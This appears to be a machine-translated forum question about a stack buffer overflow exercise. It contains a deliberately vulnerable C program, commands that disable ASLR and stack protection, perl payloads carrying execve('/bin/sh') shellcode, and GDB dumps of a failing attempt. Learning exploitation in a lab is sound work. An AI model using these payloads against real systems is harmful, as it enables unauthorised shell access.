Я пытаюсь выполнить эксплойт переполнения буфера, используя этот учебник. Все в моем посте будет выполняться непосредственно внутри GDB.
https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/
и это код, в котором я хотел бы использовать переполнение буфера.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buff[256];
if (argc == 1)
{
printf("Usage: %s input\n", argv[0]);
exit (0);
}
strcpy(buff, argv[1]);
printf("%s\n", buff);
return (1);
}
В настоящее время я работаю над Linux Mint 18, и у меня 64-битный процессор. Учитывая, что у меня 64-битная архитектура. Каждый адрес занимает 8 байт. А теперь давайте представим мой текущий stakframe.
| бафф[256] |
| РБП |
| СОХРАНИТЬ РИП |
Моя цель - перезаписать "SAVE RIP" адресом моего "nop sled". Учитывая, что у меня 64-битная архитектура. Я собираюсь заполнить переменный бафф 256 + 8 символов. 8 символов будут служить для перезаписи указателя RBP. Я собираюсь перезаписать с помощью perl.
perl -e 'print "\x90" x 264'
А затем с помощью шелл-кода, предоставленного в учебнике, которому я следовал
perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'
Я вычел 26, потому что шеллкод имеет длину 26.
И сейчас. Я собираюсь узнать адрес моего nop-следа с помощью GDB.
0x00000000004005f6 <+0>: push rbp
0x00000000004005f7 <+1>: mov rbp,rsp
0x00000000004005fa <+4>: sub rsp,0x110
0x0000000000400601 <+11>: mov DWORD PTR [rbp-0x104],edi
0x0000000000400607 <+17>: mov QWORD PTR [rbp-0x110],rsi
0x000000000040060e <+24>: cmp DWORD PTR [rbp-0x104],0x1
0x0000000000400615 <+31>: jne 0x40063d <main+71>
0x0000000000400617 <+33>: mov rax,QWORD PTR [rbp-0x110]
0x000000000040061e <+40>: mov rax,QWORD PTR [rax]
0x0000000000400621 <+43>: mov rsi,rax
0x0000000000400624 <+46>: mov edi,0x400704
0x0000000000400629 <+51>: mov eax,0x0
0x000000000040062e <+56>: call 0x4004c0 <printf@plt>
0x0000000000400633 <+61>: mov edi,0x0
0x0000000000400638 <+66>: call 0x4004e0 <exit@plt>
0x000000000040063d <+71>: mov rax,QWORD PTR [rbp-0x110]
0x0000000000400644 <+78>: add rax,0x8
0x0000000000400648 <+82>: mov rdx,QWORD PTR [rax]
0x000000000040064b <+85>: lea rax,[rbp-0x100]
0x0000000000400652 <+92>: mov rsi,rdx
0x0000000000400655 <+95>: mov rdi,rax
0x0000000000400658 <+98>: call 0x4004a0 <strcpy@plt>
=> 0x000000000040065d <+103>: lea rax,[rbp-0x100]
0x0000000000400664 <+110>: mov rdi,rax
0x0000000000400667 <+113>: call 0x4004b0 <puts@plt>
0x000000000040066c <+118>: mov eax,0x1
0x0000000000400671 <+123>: leave
0x0000000000400672 <+124>: ret
Я добавляю точку останова сразу после функции strcpy. а я пытаюсь узнать начало саней ноп с помощью
x/x $rsp
которые показывают мне
0x7fffffffde20: 0xffffe018
Тогда я собираюсь сделать
x/s 0x7fffffffde20
и нажимайте «Ввод», пока я не найду то, что ищу.
А теперь вторая проблема. Я нашел два разных адреса, которые, кажется, содержат салазки nop.
0x7fffffffde30: '\220' <repeats 200 times>...
(gdb)
0x7fffffffdef8: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"
а также
0x7fffffffe32d: '\220' <repeats 200 times>...
(gdb)
0x7fffffffe3f5: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"
Не зная, какой из них выбрать, я решил попробовать оба. Однако если предположить, что я использую первый, точнее 0x7ffffffffde30. (не забудьте взять машину у эндианессы).
Я попытаюсь выполнить свой код, используя следующую командную строку:
(gdb) run `perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7f\xff\xff\xff\xde\x30"'`
затем я проверяю, правильно ли перезаписан RIP желаемым адресом.
(gdb) info frame
Stack level 0, frame at 0x7fffffffdf30:
rip = 0x40065d in main (hacking.c:15); saved rip = 0x30deffffff7f
source language c.
Arglist at 0x7fffffffdf20, args: argc=2, argv=0x7fffffffe008
Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30
Saved registers:
rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28
(gdb)
И мы видим, что сохраненный RIP был успешно перезаписан желаемым адресом. Основная проблема сейчас заключается в том, что когда я нажимаю «Продолжить», моя программа segfault не открывает какую-либо оболочку. Я точно следую тому, что объясняется в учебнике, так что кто-нибудь может мне объяснить:
-Почему это segfault, когда я пишу 263 байта внутри буфера? Программа может выйти из строя, когда я перезапишу «сохранить RIP». Это то же самое для RBP?
-Я обнаружил два разных адреса, которые содержат мои nop-следы, какой из них мне выбрать?
-И, наконец, по-вашему, я сделал что-то не так или что-то нелогичное? Я понятия не имею, почему мой эксплойт работает, и я не нашел в Интернете никого, у кого была бы такая же проблема, как у меня.
Спасибо
Я компилирую таким образом
sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' gcc
hacking.c -fno-stack-protector -g3 -z execstack
ИЗМЕНИТЬ:
Спасибо за ваш комментарий. Я сделал то, что вы сказали мне, но это все еще segfault.
Привет @russtone.
Спасибо за ваш ответ, я сделал то, что вы сказали мне, но это все еще segfault.
`
(gdb) x/300bx $rsp
0x7fffffffdc70: 0x68 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdc78: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
===> 0x7fffffffdc80: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc88: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc90: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc98: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdca0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdca8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcb0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcb8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcc0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcc8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcd0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcd8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdce0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdce8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcf0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcf8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd10: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd18: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd20: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd28: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd30: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd38: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd40: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd48: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd50: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd58: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd60: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd68: 0x90 0x90 0x90 0x48 0x31 0xff 0x57 0x57
0x7fffffffdd70: 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62 0x69
0x7fffffffdd78: 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef 0x08
0x7fffffffdd80: 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f 0x05
0x7fffffffdd88: 0x90 0xdc 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
Я использую этот адрес, не забывая порядок байтов.
"0x7fffffffdc80"
которые дают мне
"\x80\xdc\xff\xff\xff\x7f"
Итак, последняя команда в GDB:
(gdb) run `perl -e 'print "\x90" x (264 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x80\xdc\xff\xff\xff\x7f"'`
а потом
Продолжать
которые отображают
Продолжая. ������������������������������������������������������ ������������������������������������������������������ ������������������������������������������������������ ������������������������������������������������������ ��������������������������������������H1�WW^ZH�//bin/shH�WT_j;X ������
Программа получила сигнал SIGSEGV, ошибка сегментации. 0x00007ffffffdd80 в ?? ()
Спасибо
info frame
послеstrcpy
? - person russtone   schedule 01.08.2016pmap $$
, чтобы показать вам карту памяти вашей оболочки. Если вы видите00007ffd3bd6c000 132K rw--- [ stack ]
(обратите внимание на rw, но без x), то по умолчанию используется не исполняемый стек. - person Zan Lynx   schedule 02.08.2016